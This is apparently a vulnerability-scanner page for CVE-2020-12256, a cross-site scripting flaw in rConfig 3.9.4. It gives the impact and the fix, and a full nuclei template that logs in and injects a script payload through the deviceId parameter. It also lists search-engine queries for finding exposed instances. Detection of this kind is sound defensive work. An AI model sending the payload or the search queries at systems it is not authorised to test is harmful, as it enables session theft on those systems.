rConfig 3.9.4 - Cross-Site Scripting

mediumseverity

5.4CVSS score

95.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the javascript.

Impact

Authenticated attackers can inject malicious JavaScript through the deviceId parameter, potentially stealing session cookies or performing administrative actions on behalf of authenticated users.

Fix

Upgrade to rConfig version 3.9.7 or later.

How to confirm it

Send: GET /login.php ; POST /lib/crud/userprocess.php ; GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script>
Positive when: status_code_3 == 200 and contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management") and contains(content_type_3, "text/html")

Run it with nuclei: nuclei -id CVE-2020-12256 -u <target>

The full check

id: CVE-2020-12256

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the javascript.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the deviceId parameter, potentially stealing session cookies or performing administrative actions on behalf of authenticated users.
  remediation: |
    Upgrade to rConfig version 3.9.7 or later.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12256
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12256
    cwe-id: CWE-79
    epss-score: 0.95937
    epss-percentile: 0.99875
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig,authenticated,xss,vuln

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from